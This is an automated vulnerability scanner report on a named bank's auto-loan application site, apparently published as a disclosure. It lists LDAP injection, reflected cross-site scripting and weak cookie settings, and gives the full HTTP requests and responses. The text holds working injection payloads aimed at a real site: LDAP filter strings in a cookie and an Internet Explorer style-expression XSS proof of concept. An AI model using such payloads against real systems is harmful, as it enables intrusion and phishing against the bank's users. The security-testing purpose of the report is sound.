XSS, Cross Site Scripting, CWE-79, Proof of Concept, Internet Explorer

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Report generated by CloudScan Vulnerability Crawler at Sat Feb 12 10:10:36 CST 2011.


Loading

1. LDAP injection

1.1. https://apply.chase.com/Auto/landingpage.aspx [v1st cookie]

1.2. https://apply.chase.com/ErrorHandler.ashx [v1st cookie]

2. Cross-site scripting (reflected)

3. SSL cookie without secure flag set

3.1. https://apply.chase.com/Auto/landingpage.aspx

3.2. https://apply.chase.com/Auto/landingpage.aspx

4. Cookie scoped to parent domain

4.1. https://apply.chase.com/Auto/landingpage.aspx

4.2. https://apply.chase.com/Auto/landingpage.aspx

5. Cookie without HttpOnly flag set

5.1. https://apply.chase.com/Auto/landingpage.aspx

5.2. https://apply.chase.com/Auto/landingpage.aspx

6. Cross-domain Referer leakage

6.1. https://apply.chase.com/Auto/PersonalInfo.aspx

6.2. https://apply.chase.com/Auto/landingpage.aspx

7. Email addresses disclosed

8. Cacheable HTTPS response

9. HTML does not specify charset

10. Content type incorrectly stated

11. SSL certificate



1. LDAP injection  next
There are 2 instances of this issue:

Issue background

LDAP injection arises when user-controllable data is copied in an unsafe way into an LDAP query that is performed by the application. If an attacker can inject LDAP metacharacters into the query, then they can interfere with the query's logic. Depending on the function for which the query is used, the attacker may be able to retrieve sensitive data to which they are not authorised, or subvert the application's logic to perform some unauthorised action.

Note that automated difference-based tests for LDAP injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.

Issue remediation

If possible, applications should avoid copying user-controllable data into LDAP queries. If this is unavoidable, then the data should be strictly validated to prevent LDAP injection attacks. In most situations, it will be appropriate to allow only short alphanumeric strings to be copied into queries, and any other input should be rejected. At a minimum, input containing any LDAP metacharacters should be rejected; characters that should be blocked include ( ) ; , * | & = and whitespace.


1.1. https://apply.chase.com/Auto/landingpage.aspx [v1st cookie]  next

Summary

Severity:   High
Confidence:   Tentative
Host:   https://apply.chase.com
Path:   /Auto/landingpage.aspx

Issue detail

The v1st cookie appears to be vulnerable to LDAP injection attacks.

The payloads 8b07469ac2ec936a)(sn=* and 8b07469ac2ec936a)!(sn=* were each submitted in the v1st cookie. These two requests resulted in different responses, indicating that the input may be being incorporated into a disjunctive LDAP query in an unsafe manner.

Request 1

POST /Auto/landingpage.aspx HTTP/1.1
Host: apply.chase.com
Connection: keep-alive
Referer: https://apply.chase.com/Auto/landingpage.aspx
Origin: https://apply.chase.com
X-MicrosoftAjax: Delta=true
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cache-Control: no-cache
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: v1st=8b07469ac2ec936a)(sn=*; SourceID=37797~CHSE; s_pers=%20s_cpmcvp%3D%255B%255B%2527Other%252520Referrers-www.chase.com%2527%252C%25271297526577044%2527%255D%255D%7C1455292977044%3B; auto_referrer=https%3A//www.chase.com/online/Credit-Cards/Card_DCHP.htm%3FAD%3D%257C%257C%257C37797%257C%257C%257C; Autooffercode=1111111111; ASP.NET_SessionId=14f5e6ae-fde4-47c8-be71-501076867075; NSSG=b513c0db17a641d98568a847b940afd8; pid=; BrandProfile=AUTO; s_sess=%20s_cm%3Dundefinedwww.chase.comwww.chase.com%3B%20ttc%3D1297526715356%3B%20s_cc%3Dtrue%3B%20s_sq%3D%3B; WT_FPC=id=295767023553b3129f81297530122939:lv=1297530322914:ss=1297530122939
Content-Length: 4131

ctl00%24FormContentPlaceHolder%24scriptmanager=ctl00%24FormContentPlaceHolder%24upGettingStarted%7Cctl00%24FormContentPlaceHolder%24ddlLoanType&__EVENTTARGET=ctl00%24FormContentPlaceHolder%24ddlLoanTy
...[SNIP]...

Response 1

HTTP/1.1 200 OK
Cache-Control: private
Date: Sat, 12 Feb 2011 16:07:34 GMT
Content-Type: text/plain; charset=utf-8
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Vary: Accept-Encoding
Content-Length: 16910

12672|updatePanel|ctl00_FormContentPlaceHolder_upGettingStarted|
<table width="100%" cellpadding="0" cellspacing="0" border="0">
<tr width="100%">
<td colspan="4">
<table id="c
...[SNIP]...
<div id="ctl00_FormContentPlaceHolder_HowApplyRadioDiv" name="HowApplyRadioDiv" style="border-color:#d98640;border-style:solid;border-width:2px;width:260;padding:5px;">
<span class="inputTextBox" title="Required field. Select for Individually" style="background-color:;padding:;"><input id="ctl00_FormContentPlaceHolder_rbHowApplyIndividual" type="radio" name="ctl00$FormContentPlaceHolder$rbHowApply" value="rbHowApplyIndividual" checked="checked" /><label for="ctl00_FormContentPlaceHolder_rbHowApplyIndividual">Individually</label></span>
<span class="inputTextBox" title="Required field. Select for another individual" style="background-color:;padding:;"><input id="ctl00_FormContentPlaceHolder_rbHowApplyJoint" type="radio" name="ctl00$FormContentPlaceHolder$rbHowApply" value="rbHowApplyJoint" /><label for="ctl00_FormContentPlaceHolder_rbHowApplyJoint">With another individual</label></span>
</div>
</td>
<td>&nbsp;</td>
</tr>
<tr>
<td colspan="2"></td>
<td colspan="2"><LABEL class="errorTextSm"></LABEL></td>
</tr>
<tr>
<td>&nbsp;</td>
<td>&nbsp;</td>
<td colspan="2"><!-- START auto_personalinfo_instrcpy2 CMT -->
<div class="bodyTextSm"><strong>Note:</strong>
By selecting &quot;With another individual&quot;, both the applicant and the coapplicant agree they intend to apply for joint credit.</div>
<!-- END auto_personalinfo_instrcpy2 CMT --></td>
</tr>

   </div>
<tr>
<td colspan="4" class="spacerH10">&nbsp;</td>
</tr>


<!-- ARE YOU A CHASE CUSTOMER PANEL -->
<div id="ctl00_FormContentPlaceHolder_pnlAreYouAChaseCustomer">
       

<tr>
<td>&nbsp;&nbsp;</td>
<td width="40%" align="right" class="inputField1">Are you currently enrolled in Chase Online<sup>SM</sup>?<span class="alerttext2new">*</span>
&nbsp;
</td>
...[SNIP]...

Request 2

POST /Auto/landingpage.aspx HTTP/1.1
Host: apply.chase.com
Connection: keep-alive
Referer: https://apply.chase.com/Auto/landingpage.aspx
Origin: https://apply.chase.com
X-MicrosoftAjax: Delta=true
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cache-Control: no-cache
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: v1st=8b07469ac2ec936a)!(sn=*; SourceID=37797~CHSE; s_pers=%20s_cpmcvp%3D%255B%255B%2527Other%252520Referrers-www.chase.com%2527%252C%25271297526577044%2527%255D%255D%7C1455292977044%3B; auto_referrer=https%3A//www.chase.com/online/Credit-Cards/Card_DCHP.htm%3FAD%3D%257C%257C%257C37797%257C%257C%257C; Autooffercode=1111111111; ASP.NET_SessionId=14f5e6ae-fde4-47c8-be71-501076867075; NSSG=b513c0db17a641d98568a847b940afd8; pid=; BrandProfile=AUTO; s_sess=%20s_cm%3Dundefinedwww.chase.comwww.chase.com%3B%20ttc%3D1297526715356%3B%20s_cc%3Dtrue%3B%20s_sq%3D%3B; WT_FPC=id=295767023553b3129f81297530122939:lv=1297530322914:ss=1297530122939
Content-Length: 4131

ctl00%24FormContentPlaceHolder%24scriptmanager=ctl00%24FormContentPlaceHolder%24upGettingStarted%7Cctl00%24FormContentPlaceHolder%24ddlLoanType&__EVENTTARGET=ctl00%24FormContentPlaceHolder%24ddlLoanTy
...[SNIP]...

Response 2

HTTP/1.1 200 OK
Cache-Control: private
Date: Sat, 12 Feb 2011 16:07:38 GMT
Content-Type: text/plain; charset=utf-8
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private,max-age=0,must-revalidate
Expires: Thu, 01 Dec 1994 16:00:00 GMT
Vary: Accept-Encoding
Content-Length: 16763

12629|updatePanel|ctl00_FormContentPlaceHolder_upGettingStarted|
<table width="100%" cellpadding="0" cellspacing="0" border="0">
<tr width="100%">
<td colspan="4">
<table id="c
...[SNIP]...
<div id="ctl00_FormContentPlaceHolder_HowApplyRadioDiv" name="HowApplyRadioDiv">
<span class="inputTextBox" title="Required field. Select for Individually" style="background-color:;padding:;"><input id="ctl00_FormContentPlaceHolder_rbHowApplyIndividual" type="radio" name="ctl00$FormContentPlaceHolder$rbHowApply" value="rbHowApplyIndividual" checked="checked" /><label for="ctl00_FormContentPlaceHolder_rbHowApplyIndividual">Individually</label></span>
<span class="inputTextBox" title="Required field. Select for another individual" style="background-color:;padding:;"><input id="ctl00_FormContentPlaceHolder_rbHowApplyJoint" type="radio" name="ctl00$FormContentPlaceHolder$rbHowApply" value="rbHowApplyJoint" /><label for="ctl00_FormContentPlaceHolder_rbHowApplyJoint">With another individual</label></span>
</div>
</td>
<td>&nbsp;</td>
</tr>
<tr>
<td colspan="2"></td>
<td colspan="2"><LABEL class="errorTextSm"></LABEL></td>
</tr>
<tr>
<td>&nbsp;</td>
<td>&nbsp;</td>
<td colspan="2"><!-- START auto_personalinfo_instrcpy2 CMT -->
<div class="bodyTextSm"><strong>Note:</strong>
By selecting &quot;With another individual&quot;, both the applicant and the coapplicant agree they intend to apply for joint credit.</div>
<!-- END auto_personalinfo_instrcpy2 CMT --></td>
</tr>

   </div>
<tr>
<td colspan="4" class="spacerH10">&nbsp;</td>
</tr>


<!-- ARE YOU A CHASE CUSTOMER PANEL -->
<div id="ctl00_FormContentPlaceHolder_pnlAreYouAChaseCustomer">
       

<tr>
<td>&nbsp;&nbsp;</td>
<td width="40%" align="right" class="inputField1">Are you currently enrolled in Chase Online<sup>SM</sup>?<span class="alerttext2new">*</span>
&nbsp;
</td>
<td align="left">
<div id="ctl00_FormContentPlac
...[SNIP]...

1.2. https://apply.chase.com/ErrorHandler.ashx [v1st cookie]  previous  next

Summary

Severity:   High
Confidence:   Tentative
Host:   https://apply.chase.com
Path:   /ErrorHandler.ashx

Issue detail

The v1st cookie appears to be vulnerable to LDAP injection attacks.

The payloads *)(sn=* and *)!(sn=* were each submitted in the v1st cookie. These two requests resulted in different responses, indicating that the input may be being incorporated into a conjunctive LDAP query in an unsafe manner.

Request 1

GET /ErrorHandler.ashx?code=404 HTTP/1.1
Host: apply.chase.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: BrandProfile=AUTO; AUTO_loantype=PERSON_TO_PERSON; s_sess=%20s_cm%3Dundefinedwww.chase.comwww.chase.com%3B%20ttc%3D1297526715356%3B%20s_cc%3Dtrue%3B%20s_sq%3Djpmcedufincauto%253D%252526pid%25253DApp%2525253A%25252520Start%25252520Page%252526pidt%25253D1%252526oid%25253Dfunctiononclick%25252528event%25252529%2525257Bjavascript%2525253AWebForm_DoPostBackWithOptions%25252528newWebForm_PostBackOptions%25252528%25252522ctl00%25252524Na%252526oidt%25253D2%252526ot%25253DSUBMIT%3B; auto_referrer=https%3A//www.chase.com/online/Credit-Cards/Card_DCHP.htm%3FAD%3D%257C%257C%257C37797%257C%257C%257C; pid=; SourceID=37797~CHSE; NSSG=b513c0db17a641d98568a847b940afd8; s_pers=%20s_cpmcvp%3D%255B%255B%2527Other%252520Referrers-www.chase.com%2527%252C%25271297526577044%2527%255D%255D%7C1455292977044%3B; WT_FPC=id=295767023553b3129f81297530122939:lv=1297530338522:ss=1297530122939; Autooffercode=1111111111; AUTO_joint=N; AUTO_Landing_Complete=AUTO_Landing_Complete; v1st=*)(sn=*; ASP.NET_SessionId=14f5e6ae-fde4-47c8-be71-501076867075;

Response 1

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Length: 582
Content-Type: text/html; charset=utf-8
Expires: -1
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: /ErrorHandler.ashx=0; domain=.chase.com; expires=Sat, 12-Feb-2011 16:35:25 GMT; path=/
Cache-Control: no-cache=Set-Cookie
Expires: Thu, 01 Dec 1994 16:00:00 GMT
Set-Cookie: v1st=A09D1D38633907C1; path=/; expires=Wed, 19 Feb 2020 14:28:00 GMT; domain=.chase.com
Date: Sat, 12 Feb 2011 16:05:25 GMT
Connection: close

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html lang="en"><script type="text/javascript" src="https://chaseonline.chase.com/js/workflow.js"></script></head><body onload="OnLoadWorkflowIntPage(); return true;"><form id="oForm" method="POST" action="https://chaseonline.chase.com/Error.aspx"><input type="hidden" id="PageID" name="PageID" value="/ErrorHandler.ashx"/><input type="hidden" id="ErrorCode" name="ErrorCode" value="404"/><input type="hidden" id="EncodedErrorMessage" name="EncodedErrorMessage" value="/wEFDVVua25vd24gRXJyb3I="/></form></body></html>

Request 2

GET /ErrorHandler.ashx?code=404 HTTP/1.1
Host: apply.chase.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: BrandProfile=AUTO; AUTO_loantype=PERSON_TO_PERSON; s_sess=%20s_cm%3Dundefinedwww.chase.comwww.chase.com%3B%20ttc%3D1297526715356%3B%20s_cc%3Dtrue%3B%20s_sq%3Djpmcedufincauto%253D%252526pid%25253DApp%2525253A%25252520Start%25252520Page%252526pidt%25253D1%252526oid%25253Dfunctiononclick%25252528event%25252529%2525257Bjavascript%2525253AWebForm_DoPostBackWithOptions%25252528newWebForm_PostBackOptions%25252528%25252522ctl00%25252524Na%252526oidt%25253D2%252526ot%25253DSUBMIT%3B; auto_referrer=https%3A//www.chase.com/online/Credit-Cards/Card_DCHP.htm%3FAD%3D%257C%257C%257C37797%257C%257C%257C; pid=; SourceID=37797~CHSE; NSSG=b513c0db17a641d98568a847b940afd8; s_pers=%20s_cpmcvp%3D%255B%255B%2527Other%252520Referrers-www.chase.com%2527%252C%25271297526577044%2527%255D%255D%7C1455292977044%3B; WT_FPC=id=295767023553b3129f81297530122939:lv=1297530338522:ss=1297530122939; Autooffercode=1111111111; AUTO_joint=N; AUTO_Landing_Complete=AUTO_Landing_Complete; v1st=*)!(sn=*; ASP.NET_SessionId=14f5e6ae-fde4-47c8-be71-501076867075;

Response 2

HTTP/1.1 200 OK
Connection: close
Date: Sat, 12 Feb 2011 16:05:25 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: /ErrorHandler.ashx=0; domain=.chase.com; expires=Sat, 12-Feb-2011 16:35:25 GMT; path=/
Cache-Control: no-cache
Pragma: no-cache
Expires: -1
Content-Type: text/html; charset=utf-8
Content-Length: 582

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html lang="en"><script type="text/javascript" src="https://chaseonline.chase.com/js/workflow.js"></script></head><body onload="OnLoadWorkflowIntPage(); return true;"><form id="oForm" method="POST" action="https://chaseonline.chase.com/Error.aspx"><input type="hidden" id="PageID" name="PageID" value="/ErrorHandler.ashx"/><input type="hidden" id="ErrorCode" name="ErrorCode" value="404"/><input type="hidden" id="EncodedErrorMessage" name="EncodedErrorMessage" value="/wEFDVVua25vd24gRXJyb3I="/></form></body></html>

2. Cross-site scripting (reflected)  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://apply.chase.com
Path:   /Auto/landingpage.aspx

Issue detail

The value of the offercode request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f9b80"style%3d"x%3aexpression(alert(1))"d20292961db was submitted in the offercode parameter. This input was echoed as f9b80"style="x:expression(alert(1))"d20292961db in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

Request

GET /Auto/landingpage.aspx?offercode=f9b80"style%3d"x%3aexpression(alert(1))"d20292961db HTTP/1.1
Host: apply.chase.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: BrandProfile=AUTO; AUTO_loantype=PERSON_TO_PERSON; s_sess=%20s_cm%3Dundefinedwww.chase.comwww.chase.com%3B%20ttc%3D1297526715356%3B%20s_cc%3Dtrue%3B%20s_sq%3Djpmcedufincauto%253D%252526pid%25253DApp%2525253A%25252520Start%25252520Page%252526pidt%25253D1%252526oid%25253Dfunctiononclick%25252528event%25252529%2525257Bjavascript%2525253AWebForm_DoPostBackWithOptions%25252528newWebForm_PostBackOptions%25252528%25252522ctl00%25252524Na%252526oidt%25253D2%252526ot%25253DSUBMIT%3B; auto_referrer=https%3A//www.chase.com/online/Credit-Cards/Card_DCHP.htm%3FAD%3D%257C%257C%257C37797%257C%257C%257C; pid=; SourceID=37797~CHSE; NSSG=b513c0db17a641d98568a847b940afd8; s_pers=%20s_cpmcvp%3D%255B%255B%2527Other%252520Referrers-www.chase.com%2527%252C%25271297526577044%2527%255D%255D%7C1455292977044%3B; WT_FPC=id=295767023553b3129f81297530122939:lv=1297530338522:ss=1297530122939; Autooffercode=1111111111; AUTO_joint=N; AUTO_Landing_Complete=AUTO_Landing_Complete; v1st=60B8BEB245ABF79; ASP.NET_SessionId=14f5e6ae-fde4-47c8-be71-501076867075;

Response

HTTP/1.1 200 OK
Connection: close
Date: Sat, 12 Feb 2011 16:06:18 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: pid=; domain=.chase.com; path=/
Set-Cookie: Autooffercode=f9b80"style="x:expression(alert(1))"d20292961db; domain=.chase.com; expires=Sat, 12-Feb-2011 16:36:18 GMT; path=/
Set-Cookie: BrandProfile=AUTO; domain=.chase.com; path=/
Cache-Control: no-cache
Pragma: no-cache
Expires: -1
Content-Type: text/html; charset=utf-8
Content-Length: 24953

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
<meta http-equiv="Pragma" content="no-cache"/
...[SNIP]...
<img src="https://track.did-it.com/n?tid=3148cbcee4e01&param2=f9b80"style="x:expression(alert(1))"d20292961db">
...[SNIP]...

3. SSL cookie without secure flag set  previous  next
There are 2 instances of this issue:

Issue background

If the secure flag is set on a cookie, then browsers will not submit the cookie in any requests that use an unencrypted HTTP connection, thereby preventing the cookie from being trivially intercepted by an attacker monitoring network traffic. If the secure flag is not set, then the cookie will be transmitted in clear-text if the user visits any HTTP URLs within the cookie's scope. An attacker may be able to induce this event by feeding a user suitable links, either directly or via another web site. Even if the domain which issued the cookie does not host any content that is accessed over HTTP, an attacker may be able to use links of the form http://example.com:443/ to perform the same attack.

Issue remediation

The secure flag should be set on all cookies that are used for transmitting sensitive data when accessing content over HTTPS. If cookies are used to transmit session tokens, then areas of the application that are accessed over HTTPS should employ their own session handling mechanism, and the session tokens used should never be transmitted over unencrypted communications.


3.1. https://apply.chase.com/Auto/landingpage.aspx  previous  next

Summary

Severity:   Medium
Confidence:   Firm
Host:   https://apply.chase.com
Path:   /Auto/landingpage.aspx

Issue detail

The following cookies were issued by the application and do not have the secure flag set:The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /Auto/landingpage.aspx HTTP/1.1
Host: apply.chase.com
Connection: keep-alive
Referer: https://www.chase.com/auto-loan/car-loan.htm
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: v1st=60B8BEB245ABF79; SourceID=37797~CHSE; s_pers=%20s_cpmcvp%3D%255B%255B%2527Other%252520Referrers-www.chase.com%2527%252C%25271297526577044%2527%255D%255D%7C1455292977044%3B; auto_referrer=https%3A//www.chase.com/online/Credit-Cards/Card_DCHP.htm%3FAD%3D%257C%257C%257C37797%257C%257C%257C; Autooffercode=1111111111; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Djpmcedufincauto%253D%252526pid%25253DAuto%25252520Home%25252520Page%252526pidt%25253D1%252526oid%25253Djavascript%2525253AtagAutoMarqueeClick%25252528%25252529%252526ot%25253DAREA%3B%20s_cm%3Dundefinedwww.chase.comwww.chase.com%3B; WT_FPC=id=295767023553b3129f81297530122939:lv=1297530179262:ss=1297530122939

Response

HTTP/1.1 200 OK
Cache-Control: no-cache
Date: Sat, 12 Feb 2011 16:01:44 GMT
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Expires: -1
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: ASP.NET_SessionId=7793ce10-660e-4a47-8d47-5528e55a1166; domain=.chase.com; path=/
Set-Cookie: NSSG=e69c08f7be594e0385d8401207e39e62; domain=.chase.com; path=/
Set-Cookie: pid=; domain=.chase.com; path=/
Set-Cookie: BrandProfile=AUTO; domain=.chase.com; path=/
Cache-Control: private,max-age=0,must-revalidate
Expires: Thu, 01 Dec 1994 16:00:00 GMT
Vary: Accept-Encoding
Content-Length: 24544

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
<meta http-equiv="Pragma" content="no-cache"/
...[SNIP]...

3.2. https://apply.chase.com/Auto/landingpage.aspx  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://apply.chase.com
Path:   /Auto/landingpage.aspx

Issue detail

The following cookies were issued by the application and do not have the secure flag set:The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

POST /Auto/landingpage.aspx HTTP/1.1
Host: apply.chase.com
Connection: keep-alive
Referer: https://apply.chase.com/Auto/landingpage.aspx
Cache-Control: max-age=0
Origin: https://apply.chase.com
Content-Type: application/x-www-form-urlencoded
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: v1st=60B8BEB245ABF79; SourceID=37797~CHSE; s_pers=%20s_cpmcvp%3D%255B%255B%2527Other%252520Referrers-www.chase.com%2527%252C%25271297526577044%2527%255D%255D%7C1455292977044%3B; auto_referrer=https%3A//www.chase.com/online/Credit-Cards/Card_DCHP.htm%3FAD%3D%257C%257C%257C37797%257C%257C%257C; Autooffercode=1111111111; ASP.NET_SessionId=14f5e6ae-fde4-47c8-be71-501076867075; NSSG=b513c0db17a641d98568a847b940afd8; pid=; BrandProfile=AUTO; s_sess=%20s_cm%3Dundefinedwww.chase.comwww.chase.com%3B%20ttc%3D1297526715356%3B%20s_cc%3Dtrue%3B%20s_sq%3Djpmcedufincauto%253D%252526pid%25253DApp%2525253A%25252520Start%25252520Page%252526pidt%25253D1%252526oid%25253Dfunctiononclick%25252528event%25252529%2525257Bjavascript%2525253AWebForm_DoPostBackWithOptions%25252528newWebForm_PostBackOptions%25252528%25252522ctl00%25252524Na%252526oidt%25253D2%252526ot%25253DSUBMIT%3B; WT_FPC=id=295767023553b3129f81297530122939:lv=1297530328118:ss=1297530122939
Content-Length: 4083

__EVENTTARGET=ctl00%24FormContentPlaceHolder%24rbChaseOnlineYes&__EVENTARGUMENT=&__LASTFOCUS=&__VIEWSTATE=BWP8LR3hTTSNLcMsfT9aF%2BrIQsexQpp4CJMLM3cmua0xM9LxUj1DrJaid%2FRmYGF1YwiUud2pwO1KwfWAL9BzlXotM4
...[SNIP]...

Response

HTTP/1.1 302 Found
Cache-Control: no-cache
Pragma: no-cache
Content-Length: 207
Content-Type: text/html; charset=utf-8
Expires: -1
Location: https://www.chase.com/psmhelp/index.jsp?pg_name=ccpmapp/shared/assets/page/loan_logon_auto
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: AUTO_Landing_Complete=AUTO_Landing_Complete; domain=.chase.com; expires=Sat, 12-Feb-2011 17:04:12 GMT; path=/
Set-Cookie: AUTO_joint=N; domain=.chase.com; path=/
Set-Cookie: AUTO_loantype=PERSON_TO_PERSON; domain=.chase.com; path=/
Cache-Control: private,max-age=0,must-revalidate
Expires: Thu, 01 Dec 1994 16:00:00 GMT
Date: Sat, 12 Feb 2011 16:04:12 GMT

<html><head><title>Object moved</title></head><body>
<h2>Object moved to <a href="https://www.chase.com/psmhelp/index.jsp?pg_name=ccpmapp/shared/assets/page/loan_logon_auto">here</a>.</h2>
</body></
...[SNIP]...

4. Cookie scoped to parent domain  previous  next
There are 2 instances of this issue:

Issue background

A cookie's domain attribute determines which domains can access the cookie. Browsers will automatically submit the cookie in requests to in-scope domains, and those domains will also be able to access the cookie via JavaScript. If a cookie is scoped to a parent domain, then that cookie will be accessible by the parent domain and also by any other subdomains of the parent domain. If the cookie contains sensitive data (such as a session token) then this data may be accessible by less trusted or less secure applications residing at those domains, leading to a security compromise.

Issue remediation

By default, cookies are scoped to the issuing domain and all subdomains. If you remove the explicit domain attribute from your Set-cookie directive, then the cookie will have this default scope, which is safe and appropriate in most situations. If you particularly need a cookie to be accessible by a parent domain, then you should thoroughly review the security of the applications residing on that domain and its subdomains, and confirm that you are willing to trust the people and systems which support those applications.


4.1. https://apply.chase.com/Auto/landingpage.aspx  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   https://apply.chase.com
Path:   /Auto/landingpage.aspx

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /Auto/landingpage.aspx HTTP/1.1
Host: apply.chase.com
Connection: keep-alive
Referer: https://www.chase.com/auto-loan/car-loan.htm
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: v1st=60B8BEB245ABF79; SourceID=37797~CHSE; s_pers=%20s_cpmcvp%3D%255B%255B%2527Other%252520Referrers-www.chase.com%2527%252C%25271297526577044%2527%255D%255D%7C1455292977044%3B; auto_referrer=https%3A//www.chase.com/online/Credit-Cards/Card_DCHP.htm%3FAD%3D%257C%257C%257C37797%257C%257C%257C; Autooffercode=1111111111; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Djpmcedufincauto%253D%252526pid%25253DAuto%25252520Home%25252520Page%252526pidt%25253D1%252526oid%25253Djavascript%2525253AtagAutoMarqueeClick%25252528%25252529%252526ot%25253DAREA%3B%20s_cm%3Dundefinedwww.chase.comwww.chase.com%3B; WT_FPC=id=295767023553b3129f81297530122939:lv=1297530179262:ss=1297530122939

Response

HTTP/1.1 200 OK
Cache-Control: no-cache
Date: Sat, 12 Feb 2011 16:01:44 GMT
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Expires: -1
